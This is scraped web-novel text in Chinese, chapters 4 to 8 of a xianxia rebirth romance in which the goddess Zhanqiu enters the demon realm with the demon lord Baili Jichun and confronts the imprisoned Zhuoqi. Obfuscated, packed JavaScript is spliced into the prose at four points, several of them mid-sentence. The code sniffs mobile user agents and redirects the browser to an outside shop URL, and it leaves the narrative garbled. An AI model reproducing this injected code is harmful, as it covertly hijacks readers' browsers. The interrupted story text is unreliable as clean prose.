此话一出,斩秋手中动作顿了一瞬,但很快又恢复正常的模样。她轻咬一口桃糕,细细品尝起来,并不着急回应裘安的试探。 不过有一点倒是令她意外,裘旭竟愿为了裘安做到这个地步。也不知该赞其赤诚,还是该说他愚昧。 片刻后,斩秋拿手随意揩了揩嘴角,顺着他的话若无其事地问:“那他去请旨了么?” 裘安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283005|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头,轻飘飘地回了声:“去了。” 他说完掀起眼,目不转睛地盯着斩秋,又道:“但父神没允。” 听到他的回答,斩秋的脑海中又闪过今晨在万虚殿中的画面。 难怪在她提出要让裘旭陪她一同前往时,天帝的反应如此奇怪,原来对裘旭的失望中还夹杂了这一原因。 不待她进一步感慨裘旭的冲动冒进,裘安再度开口:“你说,父神为何不允?” 他话时眼底淌着笑意,莫名使斩秋感到一阵恶寒。仿佛这并不是一个无意提起的玩笑,而是一场预谋的盘问。 刹那间,轿内再度恢复了先前的安静,只是如今这安静中隐约涌动着危险的气息。 一阵风吹入轿中,扬起了斩秋鬓边的碎发,只见她眼光流转,随即粲然笑道:“大约是父命难违罢,这毕竟是玄焰真神的意思。你不也一样,就算讨厌我,也不敢抗旨。” 裘安轻轻颔首:“你说的也不无道理。不过,有一点你说错了。” 他说:“我不讨厌你。” 谈话间,飞輦已行至诡境。此时分明是白日,四周却如黑云压城,一片阴暗。 斩秋等人下了轿輦,往前没走几步便已寻不着方向,来时的路更是如同被抹去一般,周身只余魍树密布。 显然,他们在结界之外。 正当斩秋欲出手破除结界时,不远处缓缓走来一道颀长的身影。 那人一袭月白色锦袍,在一片布满可怖纹理的墨色魍树下显得格外突兀,仿佛一朵皎洁的茉莉落在了泥潭之上。 斩秋一眼就认出了来者,此人正是魔族的尊主,百里及春。 只是百里及春为何会正巧出现在此?他一人孤身前来,就像是早已准备好了,在这等着他们一般。 看来幽境一事果然有问题,只是她不明白百里及春这么做的理由是什么。 思忖之际,对面那人先开了口。 “好久不见。” 他的声音沙哑,像干燥的毛笔划过宣纸那般。 对于这一世的百里及春来说,是很久了,他们上一次见面还是在一千年前。可于斩秋而言,并不算太久,就在她与裘安大婚那日,百里及春还亲自到天宫送上了一份大礼。 “嗯。”斩秋略压着眉,不冷不热地回应,没给对方客套寒暄的机会,直截了当地问,“百里及春,昨日你在做什么?” 后者似乎并不惊讶,目光若有若无地扫过站在她身旁的裘安,不答反问:“昨日你又做了什么?” 被他这么一问,斩秋不由微愣。 昨日天宫盛宴想必早已传遍了六界,他身为魔尊,不可能不知晓,却还在此明知故问。 斩秋眉中一折,把话说得再明白了些:“今日我来只想问一句,幽境失踪三千天兵这事,可与你有关?” 只见他漫不经心地勾起唇角,视线寸步不移地落在斩秋脸上,留意她的神色,既不承认,也没有否认。 良晌,红唇轻启,声音充满蛊惑之意。 “他们到底在不在我这,你跟我到魔界走一趟,亲自瞧一瞧不就都清楚了?” 5. 第5章 话音落下,斩秋眼里闪过一丝迟疑。 她本以为依百里及春的性子,定会阻拦他们踏入魔界。可他如今非但不拦,反而主动相邀,怕是另有所图。 虽不知他图的是什么,但她与百里及春并无仇恨,想必也不会要她性命。如此便无碍了,正好趁此机会甩掉裘安。 思忖片刻,斩秋转头对裘安道:“此事蹊跷,你们先回去与天帝禀报此事,我一人先行。” 话罢,裘安抬起眼,看向她的神情中写满了担忧:“父皇命我前来本就是为了护你,我怎么能丢下你一人独自离开。” 他说得情真意切,若非斩秋早已知晓他的真面目,此刻怕是要信了他的关切之心。 百里及春闻言,头一回完整地将目光移至裘安身上,仿佛才发现他的存在一般,唇角散开笑意:“二殿下也在啊。” 他的眼神自然,并不刻意,话里却流露着一丝轻慢。 顷刻间,气氛变得古怪起来。 裘安从前与百里及春的来往不多,算上今日也仅见过两面而已,可他却觉得百里及春似乎对他有诸多不满,而这种不满并不只是两族对立的那般敌视。 思及此,他不由蹙起眉,神色晦暗不明。 见裘安不语,只是探究地看着自己,百里及春笑得更深了。他亦回望着前者,好像在等他说些什么。可惜对方只是压着眉心,欲言又止。 二人就这般对视着,谁也没有说话。 一个神色肃穆,一个姿态轻浮。 这幅景象落入斩秋的眼里,不由勾起了上一世大婚的记忆,神情微怔。 那日婚宴设在玄隐山,诸神受邀前来,可谓宾朋满座,热闹非凡。一切都如计划中的那般顺利进行,直到百里及春的出现。 他穿着一袭红袍而来,神色张扬,好似自己才是要办喜事的神君一般,不管规矩礼节,直接大摇大摆地走到裘安面前,朝其递去一枚桃木方盒。 “本座听闻你们神界有这样一个传闻,新人若是得到上古神兽的祝福,便能永结同心,修万万年之好。今日得闲,便来此走一遭,为天帝和天后献上本座的诚心。” 他言笑晏晏,仿佛真的只是前来恭贺一般。 可是天族与魔族的关系自大婚前的那场大战起便愈发交恶,太子裘旭亦命殒于那一役中,故而众仙看见百里及春出现在此时,心下纷纷一颤,祈求这场盛宴千万莫要变成一场血战才好。 众仙都憋着一口气,目不转睛地盯着天帝手中的方盒,生怕里面躺着的是什么威慑三界的武器。 却见裘安垂眸将其打开,不过一瞬便用力合上,神色不明地看向百里及春。 底下的仙君都未来得及瞧清里面装着的究竟是何物,只有一旁的斩秋看见了,里头装着的是一枚麒麟丹。 而裘安的真身,正是麒麟。 相传从前确有不少仙君为博上古恩泽,前去万林之地,寻求神兽火凤、蛟龙赐予的凤羽及龙鳞。 可神兽哪能那么轻易将其赠予他人,求礼之人须得通过万林沼泽的重重考验。后来因为不少仙君修为不够,险些丧命于此,便很少有人提及了。 凤羽和龙鳞虽是上古神兽真身的一部分,可就算失去几许并无伤大雅,不会危及于自身。但麒麟丹不同,此乃内丹,一旦被取出,真身必将化为灰烬,怎么可能是麒麟兽自愿赠予。 这算哪门子送礼、哪门子的恩泽?分明是赤裸裸的威胁、挑衅。 裘安眸色微沉,压抑着心中怒火,一脸淡漠:“魔尊有心了。” 听完这句话,百里及春勾起唇角,笑意却不达眼底。他意味深长地望了斩秋一眼,随后没再做什么,行至一旁看着婚礼继续。 众仙见状皆是一头雾水,心道魔尊特意前来竟真的只是为了献礼。 同样感到不解的,还有斩秋。 可惜她再也没机会知道他那日所举是为了什么。 “既然二殿下也有意到我魔界做客,那便一起吧。” 百里及春的声音拉回了斩秋的思绪。抬眸只见前者微微抬手,作出一副“请”的姿势。 斩秋知道裘安生性多疑,此刻若有意与她一同前往,她也劝不回去。遂甩甩衣袖,没再说什么,带着灵衫随百里及春朝结界踏去。 此处结界并不通往魔界外城,而是直接通往魔族皇宫。 与她料想的不同,这里既不似结界外的诡境一样阴暗,亦没有想象中泥潭般的湿冷。风月无边、世外桃源,用来形容此处再合适不过。 宫内栽满了醉云红砂,柔软的花瓣随风飘动,散发着沁人的香味。放眼望去,一座座华贵的宫殿埋藏在这一片艳丽的红中。 百里及春走在前面,带着他们绕过了一座座殿宇,来到了一片空旷之地,再往前走便是悬崖绝壁。 裘安倏然停下脚步:“你要带我们去哪?” “不是想找寻那三千天兵的下落吗?我族关押罪徒的地方就在这里。” 裘安半信半疑地环顾四周。此处分明什么也没有,不过一块空地而已,背后却环绕一座座宫宇,宫墙相连如若盾甲。此地形,倒是很适合设计埋伏。 藏于袖中的手掌悄然随着心中猜疑回旋聚力,却在下一瞬被一旁响起的声音压了下来。 “听闻遗光塔共有二十八层,关押的都是恶极之辈。它并不像别的塔楼一般建立于地面之上,而是埋藏于地下。故囚徒所犯之罪大小、身阶高低,并非自下而上,反是自上而下。如此奇楼,我也想亲眼见识一番。” 斩秋的目光虽看向百里及春,话却是对裘安所说。 后者闻言了然,收回了掌中之力。 百里及春自是将二人的小动作尽收眼底,却恍若未觉。他微笑颔首,拂袖朝前一挥,便见地面浮现出一道入口:“此乃我魔族要地,只能你们二人进去。” 斩秋听罢看了一眼灵衫与邬霖:“那就有劳魔尊先将他二人带到别处休息吧。” 裘安见状亦与邬霖交换了个眼色,微微颔首。 待灵衫与邬霖离去后,三人径直朝入口而去。 遗光塔入口朝下,黑暗幽长,深不见底。塔中光线微弱,仅凭壁上挂着的火烛提供光亮,周身寒冷潮湿,令人背脊发凉。 里面的道路回旋向下,弯弯绕绕似无尽头,不知不觉间似乎已经走过了好几层楼。 行至中途,斩秋忽然发觉身后早已没有裘安的身影,不由脚下一顿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283006|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>此处构造错综复杂,道路蜿蜒起伏,想是不止一条通道。途中定有机关更改了道路,使得裘安与他们走向分岔的方向。 她不知道百里及春此举为何,却本能地感到危险。 后者听见脚步声止,亦转过身来,漫不经心地走向她。 他每往前走一步,她便后退一步。 左右两侧分明布满了牢房,斩秋此刻却听不清囚犯们的挣扎喘息,只能听见百里及春那轻如落羽的步履之声。 “百里及春,你这是何意?” 对方没有回答的意思,深邃幽黑的眸子在昏暗的塔中显得愈发阴冷。 脑海中不禁闪过最坏的结果,斩秋驻足默了片刻,抬眸道:“你想杀我?” 她的口吻冷静,冷静到像在问一个微不足道的小事,而非性命堪忧。 百里及春眸色一沉,似乎不满她的反应:“本座若想杀你,何须如此费劲。” 话语间傲慢尽显,惹得斩秋轻轻蹙眉。 虽然如今她的神力也随着她一起退回到了五十年前的水平,但百里及春想要杀她,恐怕也要费点力气。可他却将杀她说得似是一件易如反掌之事,当真猖狂。 不过斩秋此时并没功夫计较这些措辞,她只想知道百里及春引她单独来此是为了什么? 不待她发问,便听百里及春继续说道:“本座想与你做个交易。” “什么交易?”斩秋眼底闪过一抹诧色。 “你帮我从天宫拿一件东西。”他说得轻描淡写,仿佛从天宫取物是一件十分轻松之事。 “我凭什么帮你?” “三千天兵的确在魔界,却不在这遗光塔中。本座会将他们全都安然无恙地放回去,就当作是付给你的定金。” 此话一出,斩秋委实惊叹于他不要脸的造诣,心中暗骂,面上却扯出一抹微笑,佯装有礼地点头称赞:“先是抓了我族士兵,再将他们送回去当作定金,魔尊大人还真是大方。” “你不问问本座接下来的筹码是什么吗?” 有了前车之鉴,斩秋对他口中的筹码并未抱何希望,只是顺着他的话没好气道:“是什么?” 只见他双唇一张一合,道出一个令斩秋心下一颤的名字:“濯奇。” 濯奇神尊,她已经许久没有听到过这个名字了。 一千年前,本源之劫现世,需得上古真神之力应之。此担无疑压在了玄焰真神肩上,只是其修为之高,哪怕以尽数神力应之也伤不到本体。 却没想到在应劫前一日,玄焰真神被其最为信任之人施了上古禁术,其以自身神力为祭,封印了他的神力。导致本源之劫降世的那日,真神以身应劫,魂飞魄散。自其陨殁后,对他施术的濯奇神尊也随之不见踪影。 斩秋以前往飘渺境为真神守灵为由离开了九重天,用千年时间寻遍了三界都没找到他,原以为自己大概这辈子都无法替玄焰真神报仇了,却未想到会从百里及春的口中听到濯奇这个名字。 的确,她还没有搜过魔宫。 “你知道他的下落?”斩秋话时神态平和,言语里却隐约渗着亢奋。 百里及春俯首看着她,唇角牵起一道极浅的弧度:“他就在这里。” 6. 第6章 斩秋跟着百里及春来到了遗光塔的第二十二层,此处的囚室已不如往层那般繁多,仅有六间。 尽管光照昏暗,斩秋还是一眼便找到了濯奇。 如今的濯奇神尊早已没有当年的风采,头发苍白如雪,皮肤干枯宛如垂落的树枝,双目凹陷至深,内里已然空无一物。可他额间的那抹红印仍在。 斩秋走到囚室门前,透过铁杆朝里看去,将他眼下的处境看得更清楚些。 泥泞的衣袍罩在他枯瘦的身上显得格外宽大,一头雪白的长发没有束起,杂乱得披在肩上,整个人犹如烂泥一般瘫靠在墙上,没有一丝生气。 见到他这般惨状,斩秋原以为自己会觉得高兴,然而心底却只觉得荒谬、可怜,又可恨。 不由冷嗤一声,她道:“当年你不惜以失去自身神力为代价也要置父神于死地,我还以为你会给自己安排什么好的退路。” 濯奇听见动静,本如死潭般的心猛然一动。他辨出来者的声音,旋即拖着残破的身躯向前爬,布满褶皱的手抓住铁杆,抬起头兴奋地问:“斩秋?是你吗?” 四海八荒内,会唤玄焰真神为父神的女子,仅斩秋一人。 见他认出自己,斩秋眉间一动,没有吭声。 她不想在此与其叙旧浪费时间,毕竟二人之间的情谊早已被仇恨取代。默然片刻,她单刀直入地问道:“你当年为何要那么做?” 后者闻言哑然失笑,他笑中苦涩,仿佛忆起什么。随后摇起头来,不知是悔意还是其他,不答反问:“你是来寻我报仇的吗?” “仇自然要报,但是在报仇之前,我要知道真相。”她看着濯奇,重复着方才的问题,“你当年为何要那么做?” 这一次濯奇依旧没有回答,只是发了疯似的大声朝她喊道:“你既是来报仇的,那你便杀了我吧!杀了我!” 斩秋神色陡然一沉,她看得出来,濯奇求死的心是真的。毕竟他神力修为全无,被关在这暗无天日的牢房里受尽折磨,连自尽的权利都没有,只能求她成全。 可她凭何成全他? 思及此,双拳缓缓收紧,任由指甲嵌进掌心,本就不染一丝温度的眼神变得愈发冰冷,揉尽了戾气。 若是濯奇的眼睛还能看得见,等会被斩秋此刻充满恨意的目光盯得胆寒。 “杀了你?”她在唇齿间轻轻碾磨着这几个字,转了转眸仿佛思索一般。 片顷,她在濯奇面前蹲下身去,唇边蓦然绽开一抹笑,在其耳畔用温柔又亲和的声音,道着极尽残忍的话语:“曾经我的确想要杀了你,可如今看到你这副模样……” “我突然又不想了。” 说完她抬手印出一道诀咒施于濯奇,修复了他受损的命数,沉吟道:“你一日不说,便一日以这残破不堪之身活着,清醒地活着。若终日不说,便长长久久地困于这方寸之地罢。” 负手立于一侧的百里及春冷眼旁观,似笑非笑。 话音落下,惶恐与不安迅速爬上了濯奇那张本就沧桑的脸,扭曲的褶皱显得格外可怖。 他将手伸出铁杆,胡乱地抓着,乞求抓住唯一的希望:“斩秋!你杀了我!我求求你杀了我!” 可惜他声嘶力竭的呼喊并未博得前者半分怜悯,只见斩秋俨然将其视若无物,任凭他在身后肆意嘶吼,却是头也不回地踏了出去,将沉寂又无边的黑暗归还于他。 “早就听闻斩秋上神习得一身好咒法,如今一见,倒是传闻非虚。” 百里及春揶揄的声音从身后传来,斩秋应声驻足,回首望进他那一双漆黑的眸子里:“你说的交易,我应下了。” 濯奇一心求死都不愿说出真相,当年之事定有蹊跷。可是她又不能将濯奇带回九重天审问,眼下只有让他继续留在魔界。 这个结果本就在百里及春的意料之中,他并不惊讶,只是意味深长地看着她:“不问问本座要的是什么?” 她静默片刻,抬眸道:“什么?” “回元。” “好。” 虽不知回元为何物,但她想,应该没有什么比玄焰真神身死的真相更为重要的了。 寂静中,百里及春冷不防说道:“不过那三千天兵暂且还要在魔界待上一段时日。” “你要出尔反尔?”斩秋眉头一拧,却见百里及春轻轻摇首,“本座说过的话,向来不会反悔,只不过是替你找了一个完美的说辞罢了。” 斩秋听出了他的言下之意。的确,她需要一个合适的理由回去复命,一个魔族为何掳走三千天兵,又如何得以将他们平安接回的理由。 “魔族出了叛徒,你替本座把此人找出来,以此为由换回那三千天兵。” 听到这里,斩秋不禁腹诽百里及春打得一手好算盘。他以濯奇为饵,诱使她找回元作为交换便已算扯平,可如今就连清理门户之事也要让她来做。偏生她不仅无法拒绝,还得感谢他的心思缜密。 是以她扯了扯嘴角,讥诮道:“魔尊还真是替我想得周到。” “放心,要找出此人对你而言轻而易举。”百里及春仔细端详着她此刻蔑视自己的神态,不怒反笑,“他是你们九重天的人。” 此话一出,斩秋的脸色瞬间暗了下去,眼里透着无尽寒意。 找到真相对她而言是很重要,但她不能用另一个无辜之人的性命为自己铺路。否则她与上一世的裘安又有何异? “找出那人后,你会杀了他吗?” “你希望本座不要杀他?”百里及春低头看她,他的眼角轻弯,神色温柔得像一缕暖阳照过,声音低沉愉悦。 “那这可是另一个交易了。” “这回条件又是什么?” 百里及春覆下眼睫,作出一副思忖模样。少顷,淡淡道:“先欠着罢,待本座想好了再告诉你。” 斩秋无所谓地“嗯”了一声,眼下只关心一件事:“灵衫现在在哪儿?” 他没有回答,扭头看向不远处。 斩秋顺着他的目光看去,只见一名魔族侍女带着灵衫朝他们走来。 待走近后,百里及春吩咐一旁的侍女:“带她们去清罗殿。” “等等。”斩秋唤住百里及春,“裘安若知晓此事,定会让我助他离开,我的立场不好拒绝。” 后者闻言视线又落回她身上,只听她继续说道:“我要你的人在结界处守着,若今夜我们出现在结界处,把我们拦下。” “本座的人下手可不知轻重。”百里及春幽幽提醒道。 斩秋笑了笑:“若真打起来,我亦不会手下留情。” - 清罗殿内,裘安正身立于中央,望着殿上的画像出神。 与百里及春他们走散后,他很快便出了遗光塔。仿佛是被安排好的一样,出来的路比去时的路容易许多,没有弯弯绕绕,亦短了许多。一出塔便有人在外等候,将他带到了邬霖所在的清罗殿。 他知道是百里及春在从中作梗。 至于斩秋,眼下她应该与百里及春待在一起。 “你说……斩秋她能不能平安回来?”裘安看向一旁的邬霖,语气淡漠。 他并非真的关心她的安危,只是对百里及春的目的感到好奇。 “属下不知。”邬霖摇了摇头,“不过若斩秋上神此行遇险,便可得知百里及春设计这一切的目标是斩秋上神。若她平安无事地回来了,那……” 他话说到一半,余光忽然瞥到外面传来脚步声,随即噤了声。 只见殿前缓缓出现两道身影,一前一后,不疾不徐地朝他们走来。 看着斩秋与她身后的灵衫,裘安的眉心微不可察地皱了一下,仅一瞬便替换成一抹忧色:“百里及春没把你怎么样吧?” “二殿下何出此言?”斩秋脸不红心不跳地到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283007|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁赤椅坐下,理了理衣角,“我们方才不是一起去的遗光塔么,倒是二殿下你,怎么半路上没了踪影?” 话音落下,裘安并未解释,只是静静地看着她。 一贯温和的眸中漾起一道寒光,像是出鞘的锋刃,寒意逼人。 斩秋却不显丝毫慌张,视线也未有半分闪躲。 却见他话锋一转:“你在遗光塔可发现了什么?” 她摇摇头,想起方才在遗光塔外百里及春所说的话:“不过幽境三千士兵失踪一事,的确是百里及春做的。他说可以放人,但是有一个条件。” “什么条件?” “魔族中有叛徒,他需要我们把那个人找出来。” “挟持三千天兵,就为了抓一个人?”裘安自是不信这套说辞,“何须如此兴师动众?” “因为此人只有我们能找到。”斩秋看着他,神情严肃,“此人是仙族。” 凡仙族中人,百岁之际都会接受召尘礼,用术法于心间刻下印记。此印记原是用来在危难之际分辨敌我,庇护族人,只有受召时方会显现,平日与常人无异,虽肉眼不见,却不散不灭。 召尘术只有神族长老与历任帝王可以传授使用。裘安由祁华亲授,斩秋亦师从玄焰,二人皆通晓此术,想要找出那人易如反掌。 只是如此庇佑之术如今却要化为利刃指向自己族人,委实讽刺。 裘安听完不语,心中仍有疑虑。 近千年来九重天与魔族相安无事,未起争端便也无须从中传递消息抑或是其他的行动。如此就算魔族之中当真有他们的人,也断不会轻易暴露身份,那百里及春又怎会得知族中有异? 这么想着,他便这么问了出来:“既然百里及春并未抓到此人,何以得知叛徒定是仙族中人?” 那人若真是九重天派来魔族的,能千年之久不动声色,想必绝非等闲之辈,行事定是小心谨慎,不可能在这种时候露出破绽。 既非自己暴露,那便是他人泄密。能掌握此等机密要事之地,九天之上唯有执月阁了。 莫非执月阁中也潜伏了魔族中人? 想到这里,裘安的神色蓦然一沉,一如斩秋在遗光塔外初闻百里及春说起那般。 在来清罗殿的路上,斩秋便在想待她将事情告诉裘安之后,他会作何反应。虽然他处事虚伪又善玩弄人心,不过有一点倒是不假,他的确将天界的利益看得十分重要。 斩秋闻言垂下眼睑,并未吭声。 在那日上神宴她查出清缘的请帖有异时便知道,天宫中必有不忠之人。 裘安从她的沉默里知道了答案,脸色陡然一沉:“此事非同小可,还需禀告父皇。” “你要回天宫?” 裘安颔首,抬眸朝她看去,眼神里透着一些犹豫:“只是这结界……” 他停顿了一会儿,继续说道。 “我需要你。” 虽然斩秋早就料到裘安会求她相助,但当这短短四字划过她的耳际,仍然令她心头一颤,前世的场景犹如走马灯一般一幕幕浮现在眼前。 “斩秋,我需要你。” “来我的身边吧。” …… 她缓缓攥紧双手,指甲钻进掌心的痛感瞬间让她回过神来,对上裘安的视线。 只见这一次他的眼神清澈认真,褪去了先前的伪装与试探,倒显得几分真诚。 从前他便是靠着这样一双“真诚”的眼,哄骗得她做尽了后悔之事。如今重活一次,她自然不会像从前那般看不清他的温柔陷阱。 只是在这一事上,她无法拒绝。毕竟在明面上他们同属天界,立场当是一致的。 好在她来之前早有准备。 “好。”斩秋颔首答道。 随后覆下眼睫,掩去瞳仁里一闪而过的锐光。 百里及春,你可千万不要让我失望啊。 7. 第7章 天色渐渐黑尽,斩秋四人绕过魔宫的守卫,到了他们来时的地方。 此地虽有几座无人的宫殿作为遮挡,却算不上隐秘。四周的醉云红砂开得正旺,香气馥郁,哪怕在黑夜里,也无法忽视它的存在。 斩秋按照记忆中的模样朝宫墙靠近,方才迈出两步,便已触碰结界,脚下闪起一阵蓝光,登时将她击退一丈远。 就当她以为如此动静定当惊动皇宫守卫时,四下却安静得没有一丝声响。 冷风轻轻划过她的面颊,她微微蹙眉,低声对灵衫说:“不对劲,这一路未免有些太顺利了。” 后者闻言没有吭声,却是将手缓缓移向腰间长剑,警惕地扫视周围。 见周围确无异常,斩秋犹豫了半晌,方才抬手欲施启原术破解结界。孰料术法施至一半时,身后忽然响起一道慵懒的声音,打断了她的动作。 “几位这是要不辞而别?” 斩秋应声回首,入目的是百里及春那张冰冷的脸。 心中有些诧异怎么是他亲自前来,但诧异之余,心底总算是松了口气。 私心里,她希望此事能够安安静静地解决,不要闹到两族起争端的地步,以免让濯奇被关在魔界一事暴露。 毕竟在弄清楚真相之前,天宫里的任何一个人她都信不过。濯奇这般什么都不肯说的态度,莫名让她有种直觉——当年之事一定还有别人牵涉其中。 裘安缓缓回身,这一次他对百里及春再没有先前的礼遇,眼底揉尽了戾气。 百里及春不以为意,负手于身后,轻描淡写道:“用一人换三千人,这个提议合算。如此简单的问题,二殿下不会想不明白吧?” “若当真不明白,想要回去问一问天帝也未尝不可。只怕就算你回到天宫问他,他的答案也是如此。” “不过……”他故意拖长了尾音,扬唇笑道,“到了那个时候,本座的条件可就没这么简单了。” 他犹笑着,可道出的话却字字透着威胁。 裘安听罢双眸一寒,原本垂在身侧的手也已握紧成拳,青筋暴起。 他就这般与百里及春相对而立,二人间虽未言语,却是目光如刀,周围的空气中弥漫着剑拔弩张的气氛。 斩秋见状担心裘安惹出不必要的事端打乱她的计划,不由上前劝阻:“为了两界安稳,切勿意气用事。” “两界安稳。”裘安重复着这四个字,一字一顿道,“又岂是只靠一方妥协。” “此话倒是没错。只是你若想走,何须劳烦他人。”百里及春话罢广袖一挥,霎那间空中仿佛被撕开了一道裂缝,缺口处泛着淡淡蓝光,逐渐朝着四周扩去,继而消散殆尽,“结界已开,二殿下请便。” 他说完平静地看着裘安,眼神仿佛在看一个闹脾气的稚子一般。 此番举动如同一泼冷水浇灭了裘安的冲动和怒火,使其渐渐冷静下来。 眼下他若是走了,再回来时百里及春又提出更加过分的条件,父神定会责他办事不力。 天宫中有奸细一事,虽重,却不急。待他先将三千天兵带回以后再禀,也未尝不可。 想到这里,裘安方才松口:“找到那人后,你打算如何处置他?” 百里及春闻声忽然将目光转向斩秋,有些意味深长地说:“这便不由二殿下管了吧?” 裘安缓缓垂眸,掩去眸中神色,良晌才道:“明日,我会照你说的做。只是我如何相信你不会出尔反尔?” “如今二殿下除了相信本座,还有别的选择吗?” - 此事过后,斩秋被百里及春安排到了另一间宫殿留宿。她仰头看着头顶的牌匾,只见上面写着“重守殿”三个字。此牌匾瞧着与魔宫中所有的宫殿都不一样,似乎是新修的。 走进殿内,斩秋环顾四周,确定无异样后方才瘫坐在床上,卸下一天的伪装。不过短短一日,却让她觉得有几世那般漫长。 不过疲倦似乎也有益处,那便是她今夜难得地睡了一个好觉。一夜无梦。 翌日,斩秋是被邬霖叩门的声音给唤醒的。她醒时看了一眼身旁的灵衫,问她如今什么时辰。 后者回答:“午时。” 斩秋听闻一愣,眨了眨眼。 真稀奇,这么多日了,头一回睡了个安稳觉竟是身处魔界之时。 正当她想着,门外又传来了邬霖的声音:“斩秋上神。” 斩秋起身收拾了一下,随灵衫一起往殿门步去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283008|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 殿门打开,邬霖恭顺向她施礼,垂首禀道:“殿下请您过去。” “他眼下在何处?” “烛月殿。” 听到这个答案,斩秋略一挑眉。 她原以为按照裘安的性格,替百里及春找出仙族一事应该不会让她参与其中。眼下应是早已达成约定,在魔界结界处等她才是,为何会在烛月殿? 待到烛月殿方才知晓,她对裘安的判断并未失误,只是多了百里及春这个变数而已。 大殿内,百里及春与裘安二人对面而立,两人身侧还有一个被束着双手跪地之人。 听见动静,二人皆朝殿门望去,只见斩秋缓缓走来,看着跪在地上那人的背影淡淡发问:“这人是?” “二殿下找出来的,”百里及春率先开口,话声里夹杂着一丝鄙薄的笑意,“叛徒。” “不过本座并不相信二殿下一人说辞,还请斩秋上神一同看看,二殿下是否蒙骗本座。” 言下之意,是让她也施展召尘术,看看裘安所言是否属实。 斩秋知晓百里及春谨慎,并未多说什么,径直走到那人面前,正逢他抬首,四目相对的瞬间,她的眉心微微蹙起。 此人瞧着好生面熟,似乎在哪儿见过。 斩秋在脑海中翻阅了一遍,始终没忆起此人是谁。索性不再多想,抬手施术。 双手合力扭转,指尖散着一道光热,忽而那光朝上漫去,逐渐化作一缕清风。下一刻,只见面前跪地之人的胸口,隔着衣襟隐约显现出一道印符。 他的确是仙族中人。 百里及春满意地点点头:“既然人已经找到,本座亦会守诺,将那三千天兵放回。二位也可以离开了。” 虽然一开始说好的便是如此,可眼下百里及春当真这般容易得放他们走了,裘安又觉得其中有些蹊跷,看向百里及春的眼里不由掺了几许复杂之色。 半晌,他走到斩秋身边,欲与她一同离去:“走吧。” 斩秋“嗯”了一声,带着灵衫随他朝殿门步去。没走几步,悄然回首朝百里及春看去,目光坚韧平静。 她的眼神在说:“不要杀他。” 百里及春亦回望着她,目光深沉,没有作答。 8. 第8章 回九重天的飞輦上,斩秋依旧与裘安对面而坐,也与来时一般相视不语。 她并没指望自己昨日假意答应帮他破除结界一事便能取得他的信任,就像裘安在她这里亦毫无信任可言一般。此刻他心中定是思绪万千,有许多问题等着她罢。 如此想着,斩秋便也提起几分精神,方便应对他接下来的疑问。良晌,裘安终于开口,只不过他接下来说的话却出乎斩秋的意料。 “昨日之事,谢谢你。” 斩秋一愣,略带提防地看着他:“昨日我似乎并未帮到二殿下。” “昨夜若非你相劝,我怕是……百里及春说得没错,哪怕父皇知晓此事,也定会弃一人保三千人罢。” 他的话声柔和,眉眼含笑,分明是答谢之辞,却将斩秋说得起了一身寒栗,不禁想起昨日清罗殿中他审视自己时冰冷刺骨的眼神。那才是真正的他。 她不相信裘安会就这么放过此事,更不信他会对自己放下防备,存任何感谢之心。故而望着眼前裘安这副温柔似水的模样,她的眉毛愈皱愈紧。 上一世裘安将她送上殒神台的前一夜,也是用这样一张饱含温情的脸对她说,要相信他。 见她神色凝重,裘安不禁问道:“你怎么了?可是我说错了什么?” 他的声音拉回了斩秋飘远的思绪,她略一挑眉,意味深长道:“没有。只是突然想起了一些往事。” “哦?愿闻其详。” 看见他一脸趣味盎然的模样,斩秋不由说道:“想不到二殿下还有打探别人过往的爱好。” 她的声音平和,看似在揶揄玩笑,但仔细听来,便能听见其话语中隐隐透出几分冷漠与不屑。 裘安心思敏感,很快捕捉到了她言语下的疏离,眼底飘过一丝微不可察的寒意。 不过刹那间,他便换上一副灿烂的笑容,眼中闪烁着柔和明亮的光芒,宛如春日的阳光,诉说着无尽的温情:“你不是别人。” 话落,斩秋心中一阵恶寒。裘安啊裘安,这场柔情眷恋的戏码你到底要演到什么时候? 